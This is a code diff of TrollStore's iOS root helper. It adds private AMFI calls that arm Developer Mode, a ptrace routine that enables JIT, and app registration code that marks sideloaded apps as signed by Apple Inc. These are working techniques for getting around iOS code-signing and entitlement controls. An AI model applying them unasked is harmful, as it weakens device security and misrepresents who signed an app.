NSLog(@"[getDeveloperModeState] failed to get reply");
|
||||
return NO;
|
||||
}
|
||||
|
||||
NSLog(@"[getDeveloperModeState] got reply %@", reply);
|
||||
|
||||
NSObject* success = reply[@"success"];
|
||||
if (!success || ![success isKindOfClass:[NSNumber class]] || ![(NSNumber*)success boolValue]) {
|
||||
NSLog(@"[getDeveloperModeState] request failed with error %@", reply[@"error"]);
|
||||
return NO;
|
||||
}
|
||||
|
||||
NSObject* status = reply[@"status"];
|
||||
if (!status || ![status isKindOfClass:[NSNumber class]]) {
|
||||
NSLog(@"[getDeveloperModeState] request succeeded but no status");
|
||||
return NO;
|
||||
}
|
||||
|
||||
return [(NSNumber*)status boolValue];
|
||||
}
|
||||
|
||||
BOOL setDeveloperModeState(xpc_connection_t connection, BOOL enable) {
|
||||
NSDictionary* reply = sendXPCRequest(connection, enable ? kAMFIActionArm : kAMFIActionDisable);
|
||||
if (!reply) {
|
||||
NSLog(@"[setDeveloperModeState] failed to get reply");
|
||||
return NO;
|
||||
}
|
||||
|
||||
NSObject* success = reply[@"success"];
|
||||
if (!success || ![success isKindOfClass:[NSNumber class]] || ![(NSNumber*)success boolValue]) {
|
||||
NSLog(@"[setDeveloperModeState] request failed with error %@", reply[@"error"]);
|
||||
return NO;
|
||||
}
|
||||
|
||||
return YES;
|
||||
}
|
||||
|
||||
BOOL checkDeveloperMode(void) {
|
||||
// Developer mode does not exist before iOS 16
|
||||
if (@available(iOS 16, *)) {
|
||||
xpc_connection_t connection = startConnection();
|
||||
if (!connection) {
|
||||
NSLog(@"[checkDeveloperMode] failed to start connection");
|
||||
// Assume it's disabled
|
||||
return NO;
|
||||
}
|
||||
|
||||
return getDeveloperModeState(connection);
|
||||
} else {
|
||||
return YES;
|
||||
}
|
||||
}
|
||||
|
||||
BOOL armDeveloperMode(BOOL* alreadyEnabled) {
|
||||
// Developer mode does not exist before iOS 16
|
||||
if (@available(iOS 16, *)) {
|
||||
xpc_connection_t connection = startConnection();
|
||||
if (!connection) {
|
||||
NSLog(@"[armDeveloperMode] failed to start connection");
|
||||
return NO;
|
||||
}
|
||||
|
||||
BOOL enabled = getDeveloperModeState(connection);
|
||||
if (alreadyEnabled) {
|
||||
*alreadyEnabled = enabled;
|
||||
}
|
||||
|
||||
if (enabled) {
|
||||
// NSLog(@"[armDeveloperMode] already enabled");
|
||||
return YES;
|
||||
}
|
||||
|
||||
BOOL success = setDeveloperModeState(connection, YES);
|
||||
if (!success) {
|
||||
NSLog(@"[armDeveloperMode] failed to arm");
|
||||
return NO;
|
||||
}
|
||||
}
|
||||
|
||||
return YES;
|
||||
}
|
@ -44,5 +44,11 @@
|
||||
<string>Uninstall</string>
|
||||
<string>UpdatePlaceholderMetadata</string>
|
||||
</array>
|
||||
<key>com.apple.private.amfi.developer-mode-control</key>
|
||||
<true/>
|
||||
<key>com.apple.frontboard.shutdown</key>
|
||||
<true/>
|
||||
<key>com.apple.runningboard.process-state</key>
|
||||
<true/>
|
||||
</dict>
|
||||
</plist>
|
||||
|
3
RootHelper/jit.h
Normal file
@ -0,0 +1,3 @@
|
||||
#import <Foundation/Foundation.h>
|
||||
|
||||
int enableJIT(NSString *bundleID);
|
45
RootHelper/jit.m
Normal file
@ -0,0 +1,45 @@
|
||||
@import Foundation;
|
||||
@import Darwin;
|
||||
|
||||
@interface RBSProcessPredicate
|
||||
+ (instancetype)predicateMatchingBundleIdentifier:(NSString *)bundleID;
|
||||
@end
|
||||
|
||||
@interface RBSProcessHandle
|
||||
+ (instancetype)handleForPredicate:(RBSProcessPredicate *)predicate error:(NSError **)error;
|
||||
- (int)rbs_pid;
|
||||
@end
|
||||
|
||||
#define PT_DETACH 11
|
||||
#define PT_ATTACHEXC 14
|
||||
int ptrace(int request, pid_t pid, caddr_t addr, int data);
|
||||
|
||||
int enableJIT(NSString *bundleID) {
|
||||
#ifdef EMBEDDED_ROOT_HELPER
|
||||
return -1;
|
||||
#else
|
||||
RBSProcessPredicate *predicate = [RBSProcessPredicate predicateMatchingBundleIdentifier:bundleID];
|
||||
RBSProcessHandle* process = [RBSProcessHandle handleForPredicate:predicate error:nil];
|
||||
int pid = process.rbs_pid;
|
||||
|
||||
if (!pid)
|
||||
{
|
||||
return ESRCH;
|
||||
}
|
||||
|
||||
int ret = ptrace(PT_ATTACHEXC, pid, 0, 0);
|
||||
if (ret == -1)
|
||||
{
|
||||
return errno;
|
||||
}
|
||||
|
||||
usleep(100000);
|
||||
ret = ptrace(PT_DETACH, pid, 0, 0);
|
||||
if (ret == -1)
|
||||
{
|
||||
return errno;
|
||||
}
|
||||
return 0;
|
||||
#endif
|
||||
}
|
||||
|
1094
RootHelper/main.m
@ -1,351 +0,0 @@
|
||||
#import <stdio.h>
|
||||
#import "unarchive.h"
|
||||
@import Foundation;
|
||||
#import "uicache.h"
|
||||
#import <sys/stat.h>
|
||||
#import <dlfcn.h>
|
||||
#import <spawn.h>
|
||||
#import "path.h"
|
||||
#import "CoreServices.h"
|
||||
#import <objc/runtime.h>
|
||||
|
||||
#define kCFPreferencesNoContainer CFSTR("kCFPreferencesNoContainer")
|
||||
|
||||
typedef CFPropertyListRef (*_CFPreferencesCopyValueWithContainerType)(CFStringRef key, CFStringRef applicationID, CFStringRef userName, CFStringRef hostName, CFStringRef containerPath);
|
||||
typedef void (*_CFPreferencesSetValueWithContainerType)(CFStringRef key, CFPropertyListRef value, CFStringRef applicationID, CFStringRef userName, CFStringRef hostName, CFStringRef containerPath);
|
||||
typedef Boolean (*_CFPreferencesSynchronizeWithContainerType)(CFStringRef applicationID, CFStringRef userName, CFStringRef hostName, CFStringRef containerPath);
|
||||
typedef CFArrayRef (*_CFPreferencesCopyKeyListWithContainerType)(CFStringRef applicationID, CFStringRef userName, CFStringRef hostName, CFStringRef containerPath);
|
||||
typedef CFDictionaryRef (*_CFPreferencesCopyMultipleWithContainerType)(CFArrayRef keysToFetch, CFStringRef applicationID, CFStringRef userName, CFStringRef hostName, CFStringRef containerPath);
|
||||
|
||||
extern char*** _NSGetArgv();
|
||||
NSString* safe_getExecutablePath()
|
||||
{
|
||||
char* executablePathC = **_NSGetArgv();
|
||||
return [NSString stringWithUTF8String:executablePathC];
|
||||
}
|
||||
|
||||
NSDictionary* infoDictionaryForAppPath(NSString* appPath)
|
||||
{
|
||||
NSString* infoPlistPath = [appPath stringByAppendingPathComponent:@"Info.plist"];
|
||||
return [NSDictionary dictionaryWithContentsOfFile:infoPlistPath];
|
||||
}
|
||||
|
||||
NSString* appIdForAppPath(NSString* appPath)
|
||||
{
|
||||
return infoDictionaryForAppPath(appPath)[@"CFBundleIdentifier"];
|
||||
}
|
||||
|
||||
NSString* appPathForAppId(NSString* appId, NSError** error)
|
||||
{
|
||||
NSString* appPath = [TROLLSTORE_APPLICATIONS_PATH stringByAppendingPathComponent:appId];
|
||||
|
||||
NSArray* items = [[NSFileManager defaultManager] contentsOfDirectoryAtPath:appPath error:error];
|
||||
if(!items) return nil;
|
||||
|
||||
for(NSString* item in items)
|
||||
{
|
||||
if([item.pathExtension isEqualToString:@"app"])
|
||||
{
|
||||
return [appPath stringByAppendingPathComponent:item];
|
||||
}
|
||||
}
|
||||
|
||||
return nil;
|
||||
}
|
||||
|
||||
static void dump_file_content(int fd)
|
||||
{
|
||||
ssize_t num_read;
|
||||
char line_buf[256];
|
||||
int cur_pos = 0;
|
||||
|
||||
for (;;)
|
||||
{
|
||||
char c;
|
||||
num_read = read(fd, &c, sizeof(c));
|
||||
if(num_read <= 0)
|
||||
|
||||
if(c == '\n' || cur_pos >= 255 || num_read <= 0)
|
||||
{
|
||||
line_buf[cur_pos] = '\n';
|
||||
NSLog(@"%s", (char*)line_buf);
|
||||
if(c == '\n') cur_pos++;
|
||||
|
||||
if(num_read > 0)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
else
|
||||
{
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
line_buf[cur_pos++] = c;
|
||||
}
|
||||
}
|
||||
|
||||
BOOL signApp(NSString* appPath, NSError** error)
|
||||
{
|
||||
NSString* ldidPath = [[safe_getExecutablePath() stringByDeletingLastPathComponent] stringByAppendingPathComponent:@"ldid"];
|
||||
if(![[NSFileManager defaultManager] fileExistsAtPath:ldidPath])
|
||||
{
|
||||
NSLog(@"WARNING: ldid not found, not signing application");
|
||||
return NO;
|
||||
}
|
||||
|
||||
NSString* certPath = [TROLLSTORE_MAIN_PATH stringByAppendingPathComponent:@"TrollStore.app/cert.p12"];
|
||||
NSString* certArg = [@"-K" stringByAppendingPathComponent:certPath];
|
||||
|
||||
int out[2];
|
||||
posix_spawn_file_actions_t action;
|
||||
posix_spawn_file_actions_init(&action);
|
||||
pipe(out);
|
||||
posix_spawn_file_actions_adddup2(&action, out[1], STDERR_FILENO);
|
||||
posix_spawn_file_actions_addclose(&action, out[0]);
|
||||
|
||||
char* args[] = { "ldid", "-S", "-M", (char*)certArg.UTF8String, (char*)appPath.UTF8String, NULL };
|
||||
|
||||
NSLog(@"%@ ldid -S -M %@ %@", ldidPath, certArg, appPath);
|
||||
|
||||
pid_t task_pid;
|
||||
int status = -200;
|
||||
int spawnError = posix_spawn(&task_pid, [ldidPath UTF8String], &action, NULL, args, NULL);
|
||||
|
||||
if(spawnError != 0)
|
||||
{
|
||||
NSLog(@"posix_spawn error %d\n", spawnError);
|
||||
return spawnError;
|
||||
}
|
||||
|
||||
waitpid(task_pid, &status, WEXITED);
|
||||
|
||||
NSLog(@"ldid exited with status %d", status);
|
||||
|
||||
waitpid(task_pid, &status, 0);
|
||||
|
||||
NSLog(@"ldid exited with status %d", status);
|
||||
|
||||
NSLog(@"ldid output:");
|
||||
|
||||
close(out[1]);
|
||||
dump_file_content(out[0]);
|
||||
|
||||
NSLog(@"end ldid output:");
|
||||
|
||||
return status == 0;
|
||||
}
|
||||
|
||||
BOOL installApp(NSString* appPath, NSString* appId, BOOL sign, NSError** error)
|
||||
{
|
||||
if(sign)
|
||||
{
|
||||
// if it fails to sign, we don't care
|
||||
signApp(appPath, error);
|
||||
}
|
||||
|
||||
BOOL existed;
|
||||
NSError* mcmError;
|
||||
MCMAppContainer* appContainer = [objc_getClass("MCMAppContainer") containerWithIdentifier:appId createIfNecessary:YES existed:&existed error:&mcmError];
|
||||
NSLog(@"installApp appContainer: %@, mcmError: %@", appContainer, mcmError);
|
||||
if(!appContainer || mcmError)
|
||||
{
|
||||
if(error) *error = mcmError;
|
||||
return NO;
|
||||
}
|
||||
|
||||
//TODO: if TrollStore, preserve by moving it into appPath if needed ldid if needed
|
||||
|
||||
NSURL* trollStoreMarkURL = [appContainer.url URLByAppendingPathComponent:@"_TrollStore"];
|
||||
if(existed)
|
||||
{
|
||||
// trying to update an app not installed by TrollStore... bailing out
|
||||
if(![trollStoreMarkURL checkResourceIsReachableAndReturnError:nil])
|
||||
{
|
||||
NSLog(@"installApp already installed and not a TrollStore app... bailing out");
|
||||
return NO;
|
||||
}
|
||||
else
|
||||
{
|
||||
// update existing app... clean old app directory
|
||||
NSLog(@"installApp found existing TrollStore app, cleaning directory");
|
||||
NSDirectoryEnumerator *enumerator = [[NSFileManager defaultManager] enumeratorAtURL:appContainer.url includingPropertiesForKeys:nil options:0 errorHandler:nil];
|
||||
NSURL* fileURL;
|
||||
while(fileURL = [enumerator nextObject])
|
||||
{
|
||||
[[NSFileManager defaultManager] removeItemAtURL:fileURL error:nil];
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
[[NSFileManager defaultManager] createFileAtPath:trollStoreMarkURL.path contents:[NSData data] attributes:nil];
|
||||
|
||||
NSString* newAppPath = [appContainer.url.path stringByAppendingPathComponent:appPath.lastPathComponent];
|
||||
|
||||
NSLog(@"installApp new app path: %@", newAppPath);
|
||||
|
||||
BOOL suc = [[NSFileManager defaultManager] copyItemAtPath:appPath toPath:newAppPath error:error];
|
||||
|
||||
NSLog(@"installApp copied app? %d, adding to uicache now...", suc);
|
||||
|
||||
registerPath((char*)newAppPath.UTF8String, 0);
|
||||
|
||||
return YES;
|
||||
}
|
||||
|
||||
BOOL uninstallApp(NSString* appId, NSError** error)
|
||||
{
|
||||
NSString* appPath = appPathForAppId(appId, error);
|
||||
if(!appPath) return NO;
|
||||
|
||||
registerPath((char*)appPath.UTF8String, 1);
|
||||
|
||||
return [[NSFileManager defaultManager] removeItemAtPath:[appPath stringByDeletingLastPathComponent] error:error];
|
||||
}
|
||||
|
||||
BOOL installIpa(NSString* ipaPath, NSError** error)
|
||||
{
|
||||
BOOL suc = NO;
|
||||
NSString* tmpPath = [NSTemporaryDirectory() stringByAppendingPathComponent:[NSUUID UUID].UUIDString];
|
||||
|
||||
suc = [[NSFileManager defaultManager] createDirectoryAtPath:tmpPath withIntermediateDirectories:NO attributes:nil error:error];
|
||||
if(!suc) return NO;
|
||||
|
||||
extract(ipaPath, tmpPath);
|
||||
|
||||
NSString* tmpPayloadPath = [tmpPath stringByAppendingPathComponent:@"Payload"];
|
||||
|
||||
NSArray* items = [[NSFileManager defaultManager] contentsOfDirectoryAtPath:tmpPayloadPath error:error];
|
||||
if(!items) return NO;
|
||||
|
||||
NSString* tmpAppPath;
|
||||
for(NSString* item in items)
|
||||
{
|
||||
if([item.pathExtension isEqualToString:@"app"])
|
||||
{
|
||||
tmpAppPath = [tmpPayloadPath stringByAppendingPathComponent:item];
|
||||
break;
|
||||
}
|
||||
}
|
||||
if(!tmpAppPath) return NO;
|
||||
|
||||
NSString* appId = appIdForAppPath(tmpAppPath);
|
||||
|
||||
suc = installApp(tmpAppPath, appId, YES, error);
|
||||
|
||||
[[NSFileManager defaultManager] removeItemAtPath:tmpAppPath error:nil];
|
||||
|
||||
return suc;
|
||||
}
|
||||
|
||||
void uninstallAllApps(void)
|
||||
{
|
||||
NSArray* items = [[NSFileManager defaultManager] contentsOfDirectoryAtPath:TROLLSTORE_APPLICATIONS_PATH error:nil];
|
||||
for(NSString* appId in items)
|
||||
{
|
||||
NSString* appPath = appPathForAppId(appId, nil);
|
||||
registerPath((char*)appPath.UTF8String, 1);
|
||||
}
|
||||
|
||||
[[NSFileManager defaultManager] removeItemAtPath:TROLLSTORE_ROOT_PATH error:nil];
|
||||
}
|
||||
|
||||
BOOL uninstallTrollStore(void)
|
||||
{
|
||||
NSString* trollStore = [TROLLSTORE_MAIN_PATH stringByAppendingPathComponent:@"TrollStore.app"];
|
||||
if(![[NSFileManager defaultManager] fileExistsAtPath:trollStore]) return NO;
|
||||
|
||||
registerPath((char*)trollStore.UTF8String, 1);
|
||||
return [[NSFileManager defaultManager] removeItemAtPath:trollStore error:nil];
|
||||
}
|
||||
|
||||
BOOL installTrollStore(NSString* pathToTar)
|
||||
{
|
||||
_CFPreferencesSetValueWithContainerType _CFPreferencesSetValueWithContainer = (_CFPreferencesSetValueWithContainerType)dlsym(RTLD_DEFAULT, "_CFPreferencesSetValueWithContainer");
|
||||
_CFPreferencesSynchronizeWithContainerType _CFPreferencesSynchronizeWithContainer = (_CFPreferencesSynchronizeWithContainerType)dlsym(RTLD_DEFAULT, "_CFPreferencesSynchronizeWithContainer");
|
||||
_CFPreferencesSetValueWithContainer(CFSTR("SBShowNonDefaultSystemApps"), kCFBooleanTrue, CFSTR("com.apple.springboard"), CFSTR("mobile"), kCFPreferencesAnyHost, kCFPreferencesNoContainer);
|
||||
_CFPreferencesSynchronizeWithContainer(CFSTR("com.apple.springboard"), CFSTR("mobile"), kCFPreferencesAnyHost, kCFPreferencesNoContainer);
|
||||
|
||||
if(![[NSFileManager defaultManager] fileExistsAtPath:pathToTar]) return NO;
|
||||
if(![pathToTar.pathExtension isEqualToString:@"tar"]) return NO;
|
||||
|
||||
NSString* tmpPath = [NSTemporaryDirectory() stringByAppendingPathComponent:[NSUUID UUID].UUIDString];
|
||||
BOOL suc = [[NSFileManager defaultManager] createDirectoryAtPath:tmpPath withIntermediateDirectories:NO attributes:nil error:nil];
|
||||
if(!suc) return NO;
|
||||
|
||||
extract(pathToTar, tmpPath);
|
||||
|
||||
NSLog(@"installTrollStore extracted %@ to %@", pathToTar, tmpPath);
|
||||
|
||||
NSString* tmpTrollStore = [tmpPath stringByAppendingPathComponent:@"TrollStore.app"];
|
||||
if(![[NSFileManager defaultManager] fileExistsAtPath:tmpTrollStore]) return NO;
|
||||
|
||||
NSLog(@"installTrollStore temp TrollStore path: %@", tmpTrollStore);
|
||||
|
||||
NSString* tmpTrollStoreMain = [tmpTrollStore stringByAppendingPathComponent:@"TrollStore"];
|
||||
NSString* tmpTrollStoreRootHelper = [tmpTrollStore stringByAppendingPathComponent:@"trollstorehelper"];
|
||||
NSString* tmpTrollStoreLdid = [tmpTrollStore stringByAppendingPathComponent:@"ldid"];
|
||||
|
||||
// make executable
|
||||
chmod(tmpTrollStoreMain.UTF8String, 0755);
|
||||
chmod(tmpTrollStoreRootHelper.UTF8String, 0755);
|
||||
chmod(tmpTrollStoreLdid.UTF8String, 0755);
|
||||
|
||||
// set owners
|
||||
chown(tmpTrollStoreMain.UTF8String, 33, 33);
|
||||
chown(tmpTrollStoreRootHelper.UTF8String, 0, 0); // set root helper binary owner to root
|
||||
chown(tmpTrollStoreLdid.UTF8String, 0, 0);
|
||||
|
||||
NSLog(@"installTrollStore extracted and prepared TrollStore app, now installing...");
|
||||
|
||||
installApp(tmpTrollStore, @"com.apple.TrollStore", NO, nil);
|
||||
|
||||
[[NSFileManager defaultManager] removeItemAtPath:tmpPath error:nil];
|
||||
|
||||
return YES;
|
||||
}
|
||||
|
||||
int main(int argc, char *argv[], char *envp[]) {
|
||||
@autoreleasepool {
|
||||
if(argc <= 1) return -1;
|
||||
|
||||
NSLog(@"trollstore helper go, uid: %d, gid: %d", getuid(), getgid());
|
||||
NSLog(@"ok %d", argc);
|
||||
|
||||
NSBundle* mcmBundle = [NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/MobileContainerManager.framework"];
|
||||
[mcmBundle load];
|
||||
|
||||
BOOL suc = NO;
|
||||
NSError* error;
|
||||
|
||||
NSString* cmd = [NSString stringWithUTF8String:argv[1]];
|
||||
if([cmd isEqualToString:@"install"])
|
||||
{
|
||||
if(argc <= 2) return -2;
|
||||
NSString* ipaPath = [NSString stringWithUTF8String:argv[2]];
|
||||
suc = installIpa(ipaPath, &error);
|
||||
} else if([cmd isEqualToString:@"uninstall"])
|
||||
{
|
||||
if(argc <= 2) return -2;
|
||||
NSString* appId = [NSString stringWithUTF8String:argv[2]];
|
||||
suc = uninstallApp(appId, &error);
|
||||
} else if([cmd isEqualToString:@"install-trollstore"])
|
||||
{
|
||||
if(argc <= 2) return -2;
|
||||
NSString* tsTar = [NSString stringWithUTF8String:argv[2]];
|
||||
suc = installTrollStore(tsTar);
|
||||
NSLog(@"installed troll store? %d", suc);
|
||||
} else if([cmd isEqualToString:@"uninstall-trollstore"])
|
||||
{
|
||||
uninstallTrollStore();
|
||||
uninstallAllApps();
|
||||
}
|
||||
|
||||
if(!suc)
|
||||
{
|
||||
NSLog(@"error: %@", error);
|
||||
}
|
||||
|
||||
return !suc;
|
||||
}
|
||||
}
|
@ -1 +1 @@
|
||||
extern void registerPath(char *path, int unregister, BOOL system);
|
||||
extern bool registerPath(NSString *path, BOOL unregister, BOOL forceSystem);
|
@ -4,39 +4,34 @@
|
||||
#import <objc/runtime.h>
|
||||
#import "dlfcn.h"
|
||||
#import <TSUtil.h>
|
||||
#import <version.h>
|
||||
|
||||
// uicache on steroids
|
||||
|
||||
extern NSSet<NSString*>* immutableAppBundleIdentifiers(void);
|
||||
extern NSDictionary* dumpEntitlementsFromBinaryAtPath(NSString* binaryPath);
|
||||
|
||||
NSDictionary* constructGroupsContainersForEntitlements(NSDictionary* entitlements, BOOL systemGroups)
|
||||
{
|
||||
if(!entitlements) return nil;
|
||||
NSDictionary *constructGroupsContainersForEntitlements(NSDictionary *entitlements, BOOL systemGroups) {
|
||||
if (!entitlements) return nil;
|
||||
|
||||
NSString* entitlementForGroups;
|
||||
NSString* mcmClass;
|
||||
if(systemGroups)
|
||||
{
|
||||
NSString *entitlementForGroups;
|
||||
Class mcmClass;
|
||||
if (systemGroups) {
|
||||
entitlementForGroups = @"com.apple.security.system-groups";
|
||||
mcmClass = @"MCMSystemDataContainer";
|
||||
mcmClass = [MCMSystemDataContainer class];
|
||||
}
|
||||
else
|
||||
{
|
||||
else {
|
||||
entitlementForGroups = @"com.apple.security.application-groups";
|
||||
mcmClass = @"MCMSharedDataContainer";
|
||||
mcmClass = [MCMSharedDataContainer class];
|
||||
}
|
||||
|
||||
NSArray* groupIDs = entitlements[entitlementForGroups];
|
||||
if(groupIDs && [groupIDs isKindOfClass:[NSArray class]])
|
||||
{
|
||||
NSMutableDictionary* groupContainers = [NSMutableDictionary new];
|
||||
NSArray *groupIDs = entitlements[entitlementForGroups];
|
||||
if (groupIDs && [groupIDs isKindOfClass:[NSArray class]]) {
|
||||
NSMutableDictionary *groupContainers = [NSMutableDictionary new];
|
||||
|
||||
for(NSString* groupID in groupIDs)
|
||||
{
|
||||
MCMContainer* container = [NSClassFromString(mcmClass) containerWithIdentifier:groupID createIfNecessary:YES existed:nil error:nil];
|
||||
if(container.url)
|
||||
{
|
||||
for (NSString *groupID in groupIDs) {
|
||||
MCMContainer *container = [mcmClass containerWithIdentifier:groupID createIfNecessary:YES existed:nil error:nil];
|
||||
if (container.url) {
|
||||
groupContainers[groupID] = container.url.path;
|
||||
}
|
||||
}
|
||||
@ -47,102 +42,98 @@ NSDictionary* constructGroupsContainersForEntitlements(NSDictionary* entitlement
|
||||
return nil;
|
||||
}
|
||||
|
||||
BOOL constructContainerizationForEntitlements(NSDictionary* entitlements)
|
||||
{
|
||||
NSNumber* noContainer = entitlements[@"com.apple.private.security.no-container"];
|
||||
if(noContainer && [noContainer isKindOfClass:[NSNumber class]])
|
||||
{
|
||||
if(noContainer.boolValue)
|
||||
{
|
||||
BOOL constructContainerizationForEntitlements(NSDictionary *entitlements, NSString **customContainerOut) {
|
||||
NSNumber *noContainer = entitlements[@"com.apple.private.security.no-container"];
|
||||
if (noContainer && [noContainer isKindOfClass:[NSNumber class]]) {
|
||||
if (noContainer.boolValue) {
|
||||
return NO;
|
||||
}
|
||||
}
|
||||
|
||||
NSNumber* containerRequired = entitlements[@"com.apple.private.security.container-required"];
|
||||
if(containerRequired && [containerRequired isKindOfClass:[NSNumber class]])
|
||||
{
|
||||
if(!containerRequired.boolValue)
|
||||
{
|
||||
NSObject *containerRequired = entitlements[@"com.apple.private.security.container-required"];
|
||||
if (containerRequired && [containerRequired isKindOfClass:[NSNumber class]]) {
|
||||
if (!((NSNumber *)containerRequired).boolValue) {
|
||||
return NO;
|
||||
}
|
||||
}
|
||||
else if (containerRequired && [containerRequired isKindOfClass:[NSString class]]) {
|
||||
*customContainerOut = (NSString *)containerRequired;
|
||||
}
|
||||
|
||||
return YES;
|
||||
}
|
||||
|
||||
NSString* constructTeamIdentifierForEntitlements(NSDictionary* entitlements)
|
||||
{
|
||||
NSString* teamIdentifier = entitlements[@"com.apple.developer.team-identifier"];
|
||||
if(teamIdentifier && [teamIdentifier isKindOfClass:[NSString class]])
|
||||
{
|
||||
NSString *constructTeamIdentifierForEntitlements(NSDictionary *entitlements) {
|
||||
NSString *teamIdentifier = entitlements[@"com.apple.developer.team-identifier"];
|
||||
if (teamIdentifier && [teamIdentifier isKindOfClass:[NSString class]]) {
|
||||
return teamIdentifier;
|
||||
}
|
||||
return nil;
|
||||
}
|
||||
|
||||
NSDictionary* constructEnvironmentVariablesForContainerPath(NSString* containerPath)
|
||||
{
|
||||
NSString* tmpDir = [containerPath stringByAppendingPathComponent:@"tmp"];
|
||||
NSDictionary *constructEnvironmentVariablesForContainerPath(NSString *containerPath, BOOL isContainerized) {
|
||||
NSString *homeDir = isContainerized ? containerPath : @"/var/mobile";
|
||||
NSString *tmpDir = isContainerized ? [containerPath stringByAppendingPathComponent:@"tmp"] : @"/var/tmp";
|
||||
return @{
|
||||
@"CFFIXED_USER_HOME" : containerPath,
|
||||
@"HOME" : containerPath,
|
||||
@"CFFIXED_USER_HOME" : homeDir,
|
||||
@"HOME" : homeDir,
|
||||
@"TMPDIR" : tmpDir
|
||||
};
|
||||
}
|
||||
|
||||
void registerPath(char* cPath, int unregister, BOOL system)
|
||||
{
|
||||
if(!cPath) return;
|
||||
NSString* path = [NSString stringWithUTF8String:cPath];
|
||||
loadMCMFramework();
|
||||
bool registerPath(NSString *path, BOOL unregister, BOOL forceSystem) {
|
||||
if (!path) return false;
|
||||
|
||||
LSApplicationWorkspace* workspace = [LSApplicationWorkspace defaultWorkspace];
|
||||
if(unregister && ![[NSFileManager defaultManager] fileExistsAtPath:path])
|
||||
{
|
||||
LSApplicationProxy* app = [LSApplicationProxy applicationProxyForIdentifier:path];
|
||||
if(app.bundleURL)
|
||||
{
|
||||
LSApplicationWorkspace *workspace = [LSApplicationWorkspace defaultWorkspace];
|
||||
if (unregister && ![[NSFileManager defaultManager] fileExistsAtPath:path]) {
|
||||
LSApplicationProxy *app = [LSApplicationProxy applicationProxyForIdentifier:path];
|
||||
if (app.bundleURL) {
|
||||
path = [app bundleURL].path;
|
||||
}
|
||||
}
|
||||
|
||||
path = [path stringByResolvingSymlinksInPath];
|
||||
path = path.stringByResolvingSymlinksInPath.stringByStandardizingPath;
|
||||
|
||||
NSDictionary* appInfoPlist = [NSDictionary dictionaryWithContentsOfFile:[path stringByAppendingPathComponent:@"Info.plist"]];
|
||||
NSString* appBundleID = [appInfoPlist objectForKey:@"CFBundleIdentifier"];
|
||||
NSDictionary *appInfoPlist = [NSDictionary dictionaryWithContentsOfFile:[path stringByAppendingPathComponent:@"Info.plist"]];
|
||||
NSString *appBundleID = [appInfoPlist objectForKey:@"CFBundleIdentifier"];
|
||||
|
||||
if([immutableAppBundleIdentifiers() containsObject:appBundleID.lowercaseString]) return;
|
||||
if([immutableAppBundleIdentifiers() containsObject:appBundleID.lowercaseString]) return false;
|
||||
|
||||
if(appBundleID && !unregister)
|
||||
{
|
||||
MCMContainer* appContainer = [NSClassFromString(@"MCMAppDataContainer") containerWithIdentifier:appBundleID createIfNecessary:YES existed:nil error:nil];
|
||||
NSString* containerPath = [appContainer url].path;
|
||||
if (appBundleID && !unregister) {
|
||||
NSString *appExecutablePath = [path stringByAppendingPathComponent:appInfoPlist[@"CFBundleExecutable"]];
|
||||
NSDictionary *entitlements = dumpEntitlementsFromBinaryAtPath(appExecutablePath);
|
||||
|
||||
NSMutableDictionary* dictToRegister = [NSMutableDictionary dictionary];
|
||||
NSString *appDataContainerID = appBundleID;
|
||||
BOOL appContainerized = constructContainerizationForEntitlements(entitlements, &appDataContainerID);
|
||||
|
||||
MCMContainer *appDataContainer = [NSClassFromString(@"MCMAppDataContainer") containerWithIdentifier:appDataContainerID createIfNecessary:YES existed:nil error:nil];
|
||||
NSString *containerPath = [appDataContainer url].path;
|
||||
|
||||
BOOL isRemovableSystemApp = [[NSFileManager defaultManager] fileExistsAtPath:[@"/System/Library/AppSignatures" stringByAppendingPathComponent:appBundleID]];
|
||||
BOOL registerAsUser = [path hasPrefix:@"/var/containers"] && !isRemovableSystemApp && !forceSystem;
|
||||
|
||||
NSMutableDictionary *dictToRegister = [NSMutableDictionary dictionary];
|
||||
|
||||
// Add entitlements
|
||||
|
||||
NSString* appExecutablePath = [path stringByAppendingPathComponent:appInfoPlist[@"CFBundleExecutable"]];
|
||||
NSDictionary* entitlements = dumpEntitlementsFromBinaryAtPath(appExecutablePath);
|
||||
if(entitlements)
|
||||
{
|
||||
if (entitlements) {
|
||||
dictToRegister[@"Entitlements"] = entitlements;
|
||||
}
|
||||
|
||||
// Misc
|
||||
|
||||
dictToRegister[@"ApplicationType"] = system ? @"System" : @"User";
|
||||
|
||||
dictToRegister[@"ApplicationType"] = registerAsUser ? @"User" : @"System";
|
||||
dictToRegister[@"CFBundleIdentifier"] = appBundleID;
|
||||
dictToRegister[@"CodeInfoIdentifier"] = appBundleID;
|
||||
dictToRegister[@"CompatibilityState"] = @0;
|
||||
if(containerPath)
|
||||
{
|
||||
dictToRegister[@"IsContainerized"] = @(appContainerized);
|
||||
if (containerPath) {
|
||||
dictToRegister[@"Container"] = containerPath;
|
||||
dictToRegister[@"EnvironmentVariables"] = constructEnvironmentVariablesForContainerPath(containerPath);
|
||||
dictToRegister[@"EnvironmentVariables"] = constructEnvironmentVariablesForContainerPath(containerPath, appContainerized);
|
||||
}
|
||||
dictToRegister[@"IsDeletable"] = @NO;
|
||||
dictToRegister[@"IsDeletable"] = @(![appBundleID isEqualToString:@"com.opa334.TrollStore"] && kCFCoreFoundationVersionNumber >= kCFCoreFoundationVersionNumber_iOS_15_0);
|
||||
dictToRegister[@"Path"] = path;
|
||||
dictToRegister[@"IsContainerized"] = @(constructContainerizationForEntitlements(entitlements));
|
||||
|
||||
dictToRegister[@"SignerOrganization"] = @"Apple Inc.";
|
||||
dictToRegister[@"SignatureVersion"] = @132352;
|
||||
dictToRegister[@"SignerIdentity"] = @"Apple iPhone OS Application Signing";
|
||||
@ -153,24 +144,21 @@ void registerPath(char* cPath, int unregister, BOOL system)
|
||||
dictToRegister[@"FamilyID"] = @0;
|
||||
dictToRegister[@"IsOnDemandInstallCapable"] = @0;
|
||||
|
||||
NSString* teamIdentifier = constructTeamIdentifierForEntitlements(entitlements);
|
||||
if(teamIdentifier) dictToRegister[@"TeamIdentifier"] = teamIdentifier;
|
||||
NSString *teamIdentifier = constructTeamIdentifierForEntitlements(entitlements);
|
||||
if (teamIdentifier) dictToRegister[@"TeamIdentifier"] = teamIdentifier;
|
||||
|
||||
// Add group containers
|
||||
|
||||
NSDictionary* appGroupContainers = constructGroupsContainersForEntitlements(entitlements, NO);
|
